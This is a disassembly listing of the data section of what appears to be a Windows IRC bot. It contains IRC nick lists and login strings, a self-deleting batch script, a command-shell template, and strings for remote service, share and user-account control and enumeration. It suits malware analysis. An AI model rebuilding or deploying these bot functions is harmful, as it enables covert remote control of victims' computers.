aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438720o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438714o
align 4
aF_2 db '^^^f^',0 ; DATA XREF: ___:00438708o
align 10h
aSad db 'Sad',0 ; DATA XREF: ___:00438704o
aLuvu db 'LUVU',0 ; DATA XREF: ___:00438700o
align 4
a___0 db '_|_',0 ; DATA XREF: ___:004386E4o
aBbl db '|bbl',0 ; DATA XREF: ___:004386D8o
align 4
off_438838 dd offset loc_425242 ; DATA XREF: ___:004386D4o
aMuckc db 'muckc',0 ; DATA XREF: ___:004386C0o
align 4
aTruck db 'truck',0 ; DATA XREF: ___:004386BCo
align 4
aTrimy db 'trimy',0 ; DATA XREF: ___:004386B8o
align 4
aLuvy db 'luvy',0 ; DATA XREF: ___:004386B4o
align 4
aUi db 'ui',0 ; DATA XREF: ___:004386B0o
align 10h
aSdf db 'sdf',0 ; DATA XREF: ___:004386ACo
aRt db 'rt',0 ; DATA XREF: ___:004386A8o
align 4
aGf db 'gf',0 ; DATA XREF: ___:004386A4o
align 4
aTy db 'ty',0 ; DATA XREF: ___:004386A0o
align 10h
aRg db 'rg',0 ; DATA XREF: ___:0043869Co
align 4
aHappy db 'happy',0 ; DATA XREF: ___:00438698o
align 4
aRs db 'rs',0 ; DATA XREF: ___:00438678o
align 10h
aQ8A db '|q8|a',0 ; DATA XREF: ___:00438630o
align 4
aQ8 db 'Q8',0 ; DATA XREF: ___:0043862Co
align 4
aSick db 'sick}}',0 ; DATA XREF: ___:00438628o
align 4
aWiked db '|wiked|',0 ; DATA XREF: ___:00438624o
aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00438620o
align 4
aGens db '{gens|',0 ; DATA XREF: ___:0043861Co
align 10h
aSex_0 db '{sex}',0 ; DATA XREF: ___:00438618o
align 4
aHub db '{hub}',0 ; DATA XREF: ___:00438614o
align 10h
aLuck db '|luck|',0 ; DATA XREF: ___:00438610o
align 4
aSuck db '|suck|',0 ; DATA XREF: ___:0043860Co
align 10h
aTot db '-|tot|',0 ; DATA XREF: ___:00438608o
align 4
aWoh db '|woh|',0 ; DATA XREF: ___:00438604o
align 10h
aTambe db '|tambe|',0 ; DATA XREF: ___:00438600o
aLag db 'lag',0 ; DATA XREF: ___:004385FCo
aBad db 'bad',0 ; DATA XREF: ___:004385F8o
aTree db 'tree',0 ; DATA XREF: ___:004385F4o
align 4
aZex db 'zex',0 ; DATA XREF: ___:004385F0o
aLez db 'lez',0 ; DATA XREF: ___:004385ECo
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:004385E4o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:004385E0o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: ___:004385DCo
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:004385D8o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: ___:004385D4o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:004385D0o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:004385CCo
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:004385C8o
align 4
aCem39 db 'cem39',0 ; DATA XREF: ___:004385C4o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: ___:004385C0o
aTropikal db 'tropikal',0 ; DATA XREF: ___:004385BCo
align 4
aPassenger db 'passenger',0 ; DATA XREF: ___:004385B8o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:004385B4o
align 4
aUla db 'ula',0 ; DATA XREF: ___:004385B0o
aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:004385ACo
aAkden db 'akden',0 ; DATA XREF: ___:004385A8o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: ___:004385A4o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: ___:004385A0o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: ___:0043859Co
aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438598o
aM41ist db 'M41IST',0 ; DATA XREF: ___:00438594o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438590o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: ___:0043858Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: ___:00438588o
align 4
aErkan db 'erkan',0 ; DATA XREF: ___:00438584o
align 4
aDevre db 'devre',0 ; DATA XREF: ___:00438580o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: ___:0043857Co
align 4
aBirsen db 'birsen',0 ; DATA XREF: ___:00438578o
align 4
aA44m db 'a44m',0 ; DATA XREF: ___:00438574o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438570o
align 4
off_438A18 dd offset byte_4B5245 ; DATA XREF: ___:0043856Co
aSevda db 'sevda',0 ; DATA XREF: ___:00438568o
align 4
aKotan db 'kotan',0 ; DATA XREF: ___:00438564o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00438560o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: ___:0043855Co
align 10h
aKapk db 'kapk',0 ; DATA XREF: ___:00438558o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00438554o
align 4
aHayran db 'hayran',0 ; DATA XREF: ___:00438550o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:0043854Co
align 4
aAnkar db 'Ankar',0 ; DATA XREF: ___:00438548o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00438544o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00438540o
align 4
aUmut db 'umut-',0 ; DATA XREF: ___:0043853Co
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: ___:00438538o
align 4
aKumul db 'kumul',0 ; DATA XREF: ___:00438534o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00438530o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:0043852Co
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00438528o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: ___:00438524o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: ___:00438520o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043851Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438518o
aHoly db 'holy',0 ; DATA XREF: ___:00438514o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: ___:00438510o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: ___:0043850Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438508o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438504o
align 4
aEmre db 'Emre--',0 ; DATA XREF: ___:00438500o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: ___:004384FCo
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:004384F8o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: ___:004384F4o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: ___:004384F0o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:004384ECo
aArda db 'arda',0 ; DATA XREF: ___:004384E8o
align 4
aDevran db 'devran',0 ; DATA XREF: ___:004384E4o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: ___:004384E0o
aDenizlim db 'DenizliM',0 ; DATA XREF: ___:004384DCo
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:004384D8o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:004384D4o
align 10h
aBogac db 'bogac',0 ; DATA XREF: ___:004384D0o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:004384CCo
align 4
aAnkh db 'ankh',0 ; DATA XREF: ___:004384C8o
align 4
off_438BAC dd offset byte_457441 ; DATA XREF: ___:004384C4o
dword_438BB0 dd 414C5941h, 2Dh ; DATA XREF: ___:004384C0o
aAlbina db 'albina',0 ; DATA XREF: ___:004384BCo
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:004384B8o
align 4
aZack db 'ZACK',0 ; DATA XREF: ___:004384B4o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: ___:004384B0o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: ___:004384ACo
align 4
aAhmet db 'ahmet',0 ; DATA XREF: ___:004384A8o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: ___:004384A4o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:004384A0o
align 4
aRetg db 'RETG',0 ; DATA XREF: ___:0043849Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438498o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438494o
aAslii db 'aslii',0 ; DATA XREF: ___:00438490o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043848Co
aHaticem db 'haticem',0 ; DATA XREF: ___:00438488o
aArzu db 'ARZU',0 ; DATA XREF: ___:00438484o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438480o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:0043847Co
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438478o
align 10h
aTekir db 'tekir',0 ; DATA XREF: ___:00438474o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438470o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: ___:0043846Co
align 4
aMelekk db 'melekk',0 ; DATA XREF: ___:00438468o
align 4
aAkin db 'AKIN',0 ; DATA XREF: ___:00438464o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: ___:00438460o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: ___:0043845Co
aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00438458o
aMisssunday db 'misssunday',0 ; DATA XREF: ___:00438454o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: ___:00438450o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:0043844Co
align 4
aBerk19 db 'berk19',0 ; DATA XREF: ___:00438448o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00438444o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: ___:00438440o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:0043843Co
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00438438o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00438434o
align 4
aKencing db 'Kencing',0 ; DATA XREF: ___:00438430o
aReshma db 'reshma',0 ; DATA XREF: ___:0043842Co
align 4
aCamel db 'CAMEL',0 ; DATA XREF: ___:00438428o
align 4
aGirl db 'GirL',0 ; DATA XREF: ___:00438424o
align 4
aImra db 'imra',0 ; DATA XREF: ___:00438420o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043841Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: ___:00438418o
align 4
aKermit db 'kermit',0 ; DATA XREF: ___:00438414o
align 4
aManee db 'manee',0 ; DATA XREF: ___:00438410o
align 4
aTroller db 'troller',0 ; DATA XREF: ___:0043840Co
aLuisa db 'Luisa',0 ; DATA XREF: ___:00438408o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: ___:00438404o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: ___:00438400o
align 4
aJanno db 'janno',0 ; DATA XREF: ___:004383FCo
align 10h
aBunty db 'bunty',0 ; DATA XREF: ___:004383F8o
align 4
aHeval db 'heval',0 ; DATA XREF: ___:004383F4o
align 10h
aCme db 'cme',0 ; DATA XREF: ___:004383F0o
aMarcy db 'marcy',0 ; DATA XREF: ___:004383ECo
align 4
aTalika db 'talika',0 ; DATA XREF: ___:004383E8o
align 4
aShez db 'Shez',0 ; DATA XREF: ___:004383E4o
align 4
aKen db 'ken',0 ; DATA XREF: ___:004383E0o
aFlexster db 'flexster',0 ; DATA XREF: ___:004383DCo
align 4
aKoko db 'koko',0 ; DATA XREF: ___:004383D8o
align 4
aMale db 'male',0 ; DATA XREF: ___:004383D4o
align 4
aSwin db 'swin',0 ; DATA XREF: ___:004383D0o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: ___:004383CCo
aKrizha db 'KRIZHA',0 ; DATA XREF: ___:004383C8o
align 4
aEmilya db 'emilya',0 ; DATA XREF: ___:004383C4o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:004383C0o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:004383BCo
aFarooq db 'farooq',0 ; DATA XREF: ___:004383B8o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:004383B4o
align 4
aM_0: ; DATA XREF: ___:004383B0o
; ___:004386FCo
unicode 0, <M>,0
word_438E18 dw 4Eh ; DATA XREF: sub_419E7A+38r
; ___:004383ACo
align 4
dword_438E1C dd 42h ; DATA XREF: ___:004383A8o
dword_438E20 dd 56h ; DATA XREF: ___:004383A4o
dword_438E24 dd 43h ; DATA XREF: ___:004383A0o
dword_438E28 dd 58h ; DATA XREF: ___:0043839Co
; ___:00438730o
dword_438E2C dd 5Ah ; DATA XREF: ___:00438398o
dword_438E30 dd 4Ch ; DATA XREF: ___:00438394o
dword_438E34 dd 4Bh ; DATA XREF: ___:00438390o
dword_438E38 dd 4Ah ; DATA XREF: ___:0043838Co
dword_438E3C dd 48h ; DATA XREF: ___:00438388o
dword_438E40 dd 47h ; DATA XREF: ___:00438384o
dword_438E44 dd 46h ; DATA XREF: ___:00438380o
; ___:004386F8o
dword_438E48 dd 44h ; DATA XREF: ___:0043837Co
dword_438E4C dd 53h ; DATA XREF: ___:00438378o
dword_438E50 dd 50h ; DATA XREF: ___:00438370o
dword_438E54 dd 4Fh ; DATA XREF: ___:0043836Co
dword_438E58 dd 55h ; DATA XREF: ___:00438364o
word_438E5C dw 59h ; DATA XREF: sub_41A19E+38r
; ___:00438360o
align 10h
dword_438E60 dd 54h ; DATA XREF: ___:0043835Co
dword_438E64 dd 52h ; DATA XREF: ___:00438358o
dword_438E68 dd 45h ; DATA XREF: ___:00438354o
dword_438E6C dd 57h ; DATA XREF: ___:00438350o
dword_438E70 dd 51h ; DATA XREF: ___:0043834Co
dword_438E74 dd 62h ; DATA XREF: ___:00438340o
; ___:00438634o ...
dword_438E78 dd 78h ; DATA XREF: ___:00438334o
; ___:0043868Co
dword_438E7C dd 7Ah ; DATA XREF: ___:00438330o
; ___:00438694o ...
dword_438E80 dd 68h ; DATA XREF: ___:00438320o
; ___:0043864Co
dword_438E84 dd 67h ; DATA XREF: ___:0043831Co
; ___:00438648o ...
dword_438E88 dd 66h ; DATA XREF: ___:00438318o
; ___:00438644o
dword_438E8C dd 79h ; DATA XREF: ___:004382FCo
; ___:00438690o
dword_438E90 dd 77h ; DATA XREF: ___:004382ECo
; ___:00438688o
dword_438E94 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177D0+B1o
dword_438EA0 dd 323334h ; DATA XREF: sub_4177D0+79o
dword_438EA4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177D0+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BB+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 10h
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADE+BCo
; sub_417ADE+175r ...
align 4
dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418294+1Co
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41835A+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41835A+48o
align 4
unk_43901C db 2Dh ; - ; DATA XREF: sub_4184E2+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_43904C db 2Dh ; - ; DATA XREF: sub_4184E2+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_439074 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_4184E2+5Co
dd 65726165h, 64h
off_439090 dd offset aAdd ; DATA XREF: sub_4186C2+60r
; sub_418A99+51r ...
; "Add"
off_439094 dd offset aAdded ; DATA XREF: sub_4186C2+2Dr
; sub_418A99+83r ...
; "Added"
dword_439098 dd 0 ; DATA XREF: sub_4186C2+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 439104h, 4390FCh, 2, 4390F0h, 4390E4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004390C4o
aStop_0 db 'Stop',0 ; DATA XREF: ___:004390C0o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:004390B8o
aStart_0 db 'Start',0 ; DATA XREF: ___:004390B4o
align 4
aListed db 'Listed',0 ; DATA XREF: ___:004390ACo
align 4
aList_1 db 'List',0 ; DATA XREF: ___:004390A8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:004390A0o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:0043909Co
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_439094o
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_439090o
unk_439158 db 2Dh ; - ; DATA XREF: sub_4186C2+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_43917C db 2Dh ; - ; DATA XREF: sub_4186C2+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_4391A8 db 2Dh ; - ; DATA XREF: sub_4186C2+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4187DE:loc_4188E8o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4187DE:loc_4188E1o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4187DE:loc_4188DAo
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4187DE:loc_4188D3o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4187DE:loc_4188C5o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4187DE:loc_4188BEo
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4187DE:loc_4188B7o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4187DE:loc_41888Co
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4187DE:loc_418885o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4187DE:loc_41887Eo
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4187DE:loc_418877o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4187DE:loc_41884Co
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4187DE:loc_418842o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4187DE:loc_418838o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4187DE:loc_418824o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895C+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_41895C:loc_418A28o
aStarting db ' Starting',0 ; DATA XREF: sub_41895C:loc_418A21o
aStoping db ' Stoping',0 ; DATA XREF: sub_41895C:loc_418A1Ao
aRunning db ' Running',0 ; DATA XREF: sub_41895C:loc_418A13o
aContinuing db ' Continuing',0 ; DATA XREF: sub_41895C:loc_418A0Co
aPausing db ' Pausing',0 ; DATA XREF: sub_41895C:loc_418A05o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895C:loc_4189FEo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895C+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41895C+25o
align 4
unk_4396FC db 2Dh ; - ; DATA XREF: sub_418A99+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
dword_439720 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418A99+8Ao
dd 73252720h, 27h
unk_43973C db 2Dh ; - ; DATA XREF: sub_418A99+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_418C8F+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_418C8F+B5o
unk_439788 db 2Dh ; - ; DATA XREF: sub_418C8F+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_418C8F+26o
align 4
unk_4397E8 db 2Dh ; - ; DATA XREF: sub_418DB0+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 10h
unk_439810 db 2Dh ; - ; DATA XREF: sub_418DB0+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
unk_439840 db 2Dh ; - ; DATA XREF: sub_418DB0+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
unk_439860 db 2Dh ; - ; DATA XREF: sub_418EF7+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF7+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF7+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o
align 10h
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF7+1ACo
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF7+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_418EF7:loc_419016o
align 10h
aUser_1 db 'User',0 ; DATA XREF: sub_418EF7:loc_41900Fo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF7:loc_419008o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF7+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF7+84o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF7+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo
align 4
unk_439A1C db 2Dh ; - ; DATA XREF: sub_4192E0+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_4 db ' %S',0 ; DATA XREF: sub_4192E0+BEo
align 10h
unk_439A50 db 2Dh ; - ; DATA XREF: sub_4192E0+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o
align 10h
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_419460:loc_419544o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_419460+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_419460:loc_41950Bo
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419460:loc_4194C3o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_419460:loc_4194AFo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
align 4
dword_439D58 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419594+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_439D84 db 2Dh ; - ; DATA XREF: sub_419594+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h
